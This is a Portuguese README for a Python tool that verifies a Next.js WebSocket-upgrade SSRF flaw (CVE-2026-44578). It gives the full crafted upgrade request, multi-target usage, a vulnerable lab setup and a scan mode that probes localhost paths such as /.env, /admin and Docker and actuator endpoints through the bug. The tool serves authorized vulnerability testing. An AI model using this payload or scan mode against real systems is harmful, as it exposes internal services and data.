
Verificador OOB para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)
Verificador em banda para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Server-Side Request Forgery no Next.js via requisições de upgrade WebSocket.
⚠️ Apenas para testes de segurança autorizados. Você é responsável por garantir que tem permissão para testar cada alvo que passar para este script.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (Alta) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Afetado | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| Corrigido | 15.5.16, 16.2.5 |
| Commit de correção | c4f69086 |
| Não afetado | Hospedado na Vercel; output: "export"; implantações atrás de um proxy reverso que não encaminha Upgrade |
Um atacante abre uma conexão TCP para um processo Next.js auto-hospedado e envia um upgrade WebSocket HTTP/1.1 cujo request-URI é uma URL absoluta:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Em resolveRoutes, a URL contém // (como toda URI absoluta), o que corresponde ao ramo "normalizar barras repetidas". Esse ramo retorna cedo com { finished: true, statusCode: 308, parsedUrl: <mangled> }. O normalizador colapsa http://host/path em http:/host/path (uma barra).
Em router-server.ts, o manipulador de upgrade pré-correção ignorou finished/statusCode e apenas verificou parsedUrl.protocol. Como o protocolo sobrevive à normalização, ele chamou proxyRequest(...).
A correção (commit c4f69086) fez com que o manipulador de upgrade verificasse finished && !statusCode antes de fazer o proxying. O caso de normalização 308 agora falha na verificação !statusCode e o socket é fechado em vez disso.
O proxy nunca alcança um host externo. Se você configurar um interactsh / Burp Collaborator / webhook canário e esperar que o processo Next telefone para casa, não vai — a conexão vai para localhost na máquina alvo. Este verificador, portanto, usa um sinal em banda lido do socket de upgrade: um servidor vulnerável retorna um corpo de erro reconhecível, um servidor corrigido não retorna nada.
O alvo do SSRF é restrito, mas ainda significativo em implantações reais:
127.0.0.1:80 ou :443 e confiam em requisições originadas de localhost.127.0.0.1:80 (incomum, mas visto).Os endpoints de metadados da AWS / GCP / Azure (169.254.169.254) não são diretamente acessíveis porque o bug fixa o destino em localhost.
Para cada alvo, o script abre um socket TCP bruto (ou TLS), envia o upgrade criado, lê a resposta e produz dois sinais:
verdict — se o bug está presente.impact_confirmed — se o SSRF realmente exfiltrou dados (ou seja, um serviço co-localizado em localhost:80/443 do alvo respondeu e recebemos sua resposta de volta).Quando impact_confirmed é true, a saída JSON também inclui upstream_status, upstream_server e upstream_content_type analisados da resposta vazada (útil para triagem/elaboração de relatórios).
Por padrão, cada alvo também recebe uma sonda de controle com a mesma linha de requisição de URI absoluta, mas sem cabeçalhos Upgrade (Connection: close). Se o front-end retornar a mesma resposta para ambas as sondas (linha de status + tamanho dentro da tolerância), o front-end do próprio host está rejeitando a linha de requisição de URI absoluta em si — nginx 400, Apache 400, CDN edge — e o SSRF nunca alcançou o Next. O veredito é rebaixado para front_end_intercepts e a saída JSON inclui front_end_status e front_end_server analisados da resposta do proxy para que o operador possa identificar o que está interceptando.
Isso elimina um falso positivo real observado quando Next auto-hospedado está atrás de nginx/Apache: esses proxies rejeitam a linha de requisição GET http:///x HTTP/1.1 da sonda com um 400 genérico, que o detector anteriormente interpretava erroneamente como vulnerable_proxy_succeeded. Use --no-control-probe para optar por não participar e ver os vereditos brutos.
# alvo único
python3 verify_ghsa_c4j6.py --target https://app.example.com
# múltiplos alvos através de repetição de bandeira
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# a partir de um arquivo (um alvo por linha; '#' para comentários)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# a partir de stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# saída em JSON Lines para ferramentas downstream
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Enumerar serviços co-localizados no localhost:80/443 do alvo através do bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# O mesmo, com uma lista de caminhos personalizada
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan sonda uma lista embutida de caminhos comuns (módulos de status Apache/nginx, endpoints de health & métricas, Spring Boot Actuator, Go pprof, endpoints do Docker daemon, painéis administrativos comuns, arquivos de configuração vazados, rotas do Elasticsearch, etc.) através do gadget SSRF.
Por padrão, o modo de varredura executa uma sonda de linha de base diferencial extra com um caminho aleatório inexistente por alvo. As sondas subsequentes são marcadas como DIFF apenas quando sua assinatura (status, comprimento do corpo) diverge da linha de base — 404s uniformes de um upstream que "não encontrou nada" são marcados como noise e não inflam a contagem de acertos. Use --no-differential para relatar todas as sondas que alcançaram um serviço (comportamento legado).
A saída é agrupada por alvo:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (mais 53 caminhos 'noise' 404 suprimidos) ...
-> 5 acerto(s) diferencial(is) / 58 sondas
-> servidor(es) upstream visto(s): SimpleHTTP/0.6 Python/3.14.4
As linhas DIFF são os acertos reais — caminhos cuja resposta divergiu da linha de base de caminho aleatório (status diferente, comprimento do corpo diferente). As linhas noise também alcançaram um serviço HTTP, mas produziram a mesma resposta monótona da linha de base — tipicamente 404s uniformes com os quais o operador não se importa. Quando toda sonda é noise e não há divergência da linha de base, o bug ainda está presente, mas nada útil está escutando em localhost:80/443 daquele host.
Os alvos podem ser host, host:port ou URLs completas http(s)://....
Tunelar todas as sondas através de um proxy HTTP CONNECT para inspeção no Burp / mitmproxy / OWASP ZAP:
# alvo HTTP simples via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# alvo HTTPS via Burp (Burp faz MITM no TLS — precisa de --insecure ou instalar CA do Burp)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# proxy com autenticação básica
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
O proxy vê um CONNECT host:port seguido pelo payload de upgrade bruto — útil quando você quer que o Burp registre/reproduza/modifique as sondas SSRF.
Você pode executar um laboratório vulnerável em cinco comandos:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
Saída:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
Repita com [email protected] e você deve ver verdict=likely_patched.
demo_impact.sh executa Next na porta :80 (de modo que seu destino SSRF fixado em localhost é o mesmo processo Next) e lê o próprio HTML do Next de volta através do bug. Requer sudo para a vinculação de porta privilegiada.
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
A saída esperada termina com IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.
Upgrade mascarará a vulnerabilidade; o script reportará likely_patched. Reteste diretamente contra o processo Next se possível.Internal Server Error poderia teoricamente ser retornada por um proxy upstream por conta própria. Para descartar isso, reenvie o mesmo payload com Connection: close em vez de Connection: Upgrade — um Next vulnerável real para de retornar o corpo Internal Server Error nesse caso (caminho de código diferente).next start usa HTTP/1.1 por padrão.Teste apenas sistemas que você possui ou para os quais tenha autorização explícita e por escrito para avaliar.
MIT
proxyRequest executa url.format(parsedUrl) na URL corrompida, obtendo http:/host:port/path. http-proxy analisa esse destino, não encontra host (url.parse('http:/...').host === null), e retorna ao seu destino padrão: localhost:80 (ou localhost:443 para https).
Então, na prática, o SSRF permite que você faça o Next abrir um upgrade WebSocket para o próprio localhost:80 / localhost:443 do host Next.js com um caminho controlado pelo atacante.
| Resposta | Verdict | impact_confirmed |
|---|
Contém Internal Server Error | vulnerable | false — bug comprovado, mas o proxy não encontrou nada em localhost |
Começa com HTTP/1. | vulnerable_proxy_succeeded | true — dados reais da resposta exfiltrados |
| Vazio / fechamento limpo | likely_patched | false — também cobre "não é Next", "proxy reverso removeu Upgrade", "Vercel" |
| Idêntico ao controle sem Upgrade | front_end_intercepts | false — proxy front-end interrompeu ambas as sondas; SSRF nunca alcançou o Next |
| Qualquer outra coisa | inconclusive | false |
| Bandeira | Descrição | Padrão |
|---|
--target URL | Um único alvo. Repita para múltiplos. | — |
--targets-file PATH | Arquivo com um alvo por linha. | — |
--probe-path PATH | Caminho usado na URI absoluta criada. Alcança o serviço localhost do alvo neste caminho (registrado com um sufixo de token por alvo). | /x |
--scan | Enumera caminhos comuns no serviço localhost de cada alvo. Envia uma sonda de linha de base diferencial por alvo mais a lista de caminhos. | desligado |
--scan-paths-file PATH | Lista de caminhos personalizada para o modo de varredura (um por linha). Implica --scan. | embutida |
--no-differential | No modo --scan, pula a sonda de linha de base e relata toda sonda que alcançou um serviço (comportamento legado). | desligado |
--no-control-probe | Desativa a proteção de curto-circuito do front-end (sonda extra sem Upgrade por alvo). Útil quando os alvos são estritamente conhecidos como processos Next diretos. | desligado |
--timeout SEC | Timeout por socket. | 5 |
--concurrency N | Sondas paralelas. | 10 |
--insecure | Pula verificação de certificado TLS. Necessário com --proxy ao fazer MITM em TLS. | desligado |
--proxy URL | Tunelar através de um proxy HTTP CONNECT (Burp / mitmproxy / ZAP). Suporta autenticação básica via http://user:pass@host:port. Requer Python 3.11+ para alvos TLS. | direto |
--json | Emite JSON Lines em vez de texto legível. | desligado |